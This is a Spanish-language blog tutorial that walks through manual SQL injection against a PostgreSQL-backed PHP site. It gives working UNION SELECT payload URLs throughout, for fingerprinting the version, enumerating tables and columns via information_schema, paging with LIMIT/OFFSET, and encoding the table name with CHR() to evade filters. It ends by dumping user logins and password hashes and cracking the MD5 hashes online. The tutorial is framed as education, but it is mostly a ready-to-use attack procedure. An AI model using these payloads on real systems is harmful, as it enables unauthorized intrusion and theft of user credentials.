Post20 n

Continuando con las inyecciones SQL de manera manual, el día de hoy nos enfocaremos en el motor de base de datos PostgreSQL. Este motor permite almacenar una gran cantidad de información, y lógicamente si se programa de forma inadecuada es posible dejar al descubierto esta vulnerabilidad, a continuación tenemos el siguiente escenario:


Inyección SQL - Postgresql


Pg_exec() es una sentencia de Postgresql la cual permite ejecutar una consulta a la base de datos, por esta razón podemos asumir que se está utilizando Postgresql. Posteriormente utilizaremos la sentencia ORDER BY para detectar la cantidad de registros de la BD.


Inyección SQL – Postgresql Order BY (1)



   Inyección SQL – Postgresql Order BY (2)


Podemos ver que el número de registros de la base de datos es de 4. Posteriormente usaremos la sentencia UNION SELECT para verificar el campo en el cual podremos realizar la inyección.

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,2,3,4 --



Inyección SQL – Postgresql UNION SELECT (1)


Al querer utilizar realizar la consulta SQL esta nos arroja un error  ya que nos indica que en algunos campos (si no todos) estamos ingresando números enteros y la sentencia solo recibe datos de tipo string. Para esto agregaremos comillas simples a  cada uno de los números para ver cuál campo es de tipo string y cual es de tipo entero.


 Inyección SQL – Postgresql UNION SELECT (2)



www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,’2’,’3’,4 --


Podemos notar que los campos 2 y 3 son de tipo enteros, mientras que los campos 1 y 4 son de tipo string, además al visualizar el sitio web, este nos indica que podemos realizar consultas a través del campo número 2. (NOTA: para usar sentencias SQL en campo número 2 es necesario quitar las comillas simples).


En primer lugar verificaremos la versión de Postgresql que se está utilizando la siguiente sentencia:

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,version(),’3’,4 --


Inyección SQL – Postgresql versión



Nos muestra que la versión de Postgresql es la 8.4.13 además nos dice que se está utilizando un sistema operativo de Linux, específicamente un Debian 4.4.5-8 con arquitectura de 32 bits, esto ya es información relevante. Luego intentaremos obtener todas las tablas de las base de datos del sistema, la estructura para realizar esto es igual a Mysql.


www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables --



       Inyección SQL – Postgresql, extracción de tablas de las bases de datos



Como mencionamos con anterioridad es posible que en algunos casos no se nos muestre todas las tablas de las bases de datos del sistema, para esto es necesario utilizar la sentencia LIMIT y de esta manera poder iterar y mostrar cada una de las tablas.


La estructura de LIMIT en Postgresql es similar a Mysql, sin embargo tiene algunas diferencias como la sentencia OFFSET. A continuación se muestran unos ejemplos:


www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 4 --

Esto nos muestra los primeros 4 registros empezando desde el 1. (1,2,3,4).


www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 3 OFFSET 2 --

Esto indica que se deben mostrar tres registros empezando desde la posición dos.
(3,4,5)

www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,table_name,’3’,4  from information_schema.tables LIMIT 4 OFFSET 5 --

Esto indica que se deben mostrar cuatro registros empezando desde la posición cinco.
(6,7,8,9).


      Inyección SQL – Postgresql, uso de LIMIT y OFFSET



Como logramos encontrar la tabla usuarios, a continuación la extraeremos con sus respectivas columnas. Para esto debemos hacer algo similar a Mysql, convertir el nombre de la tabla (users) a formato char de Postgresql, para realizar este proceso le dejare el siguiente link:


http://www.waraxe.us/sql-char-encoder.html


                  

        Inyección SQL – Postgresql, encodeando tabla users

El valor encodeado de la tabla users es CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115). La estructura de la consulta final es la siguiente:


www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1,column_name,’3’,4  from information_schema.columns where table_name= CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115) --


Con esto le estamos diciendo que nos devuelva todas las columnas de la tabla users.


Inyección SQL – Postgresql, columnas de tabla users



Finalmente extraeremos los datos de cada uno de estos campos. Para realizar una concatenación de cada uno de los campos utilizaremos el valor || ‘ : ‘ ||. El cual nos permitirá realizar una concatenación separada por dos puntos.


www.sitiowebpostgresql.com/index.php?id=1 UNION SELECT 1, id || ' : '|| login || ' : ' || password ,’3’,4  from users --


Inyección SQL – Postgresql, extracción de credenciales del sistema




Realizaremos el crack del hash md5, utilizando el sitio web HashKiller. Este sitio web posee una base de datos muy completa la cual permite realizar cracking sobre diversos tipos de hash.

https://hashkiller.co.uk/md5-decrypter.aspx


  

                Inyección SQL – Postgresql, cracking del hash MD5


Con esto hemos finalizado la inyección SQL de Postgresql, es importante aprender a realizar inyecciones SQL de manera manual para comprender el funcionamiento de dichas inyecciones.



Artículos que te pueden interesar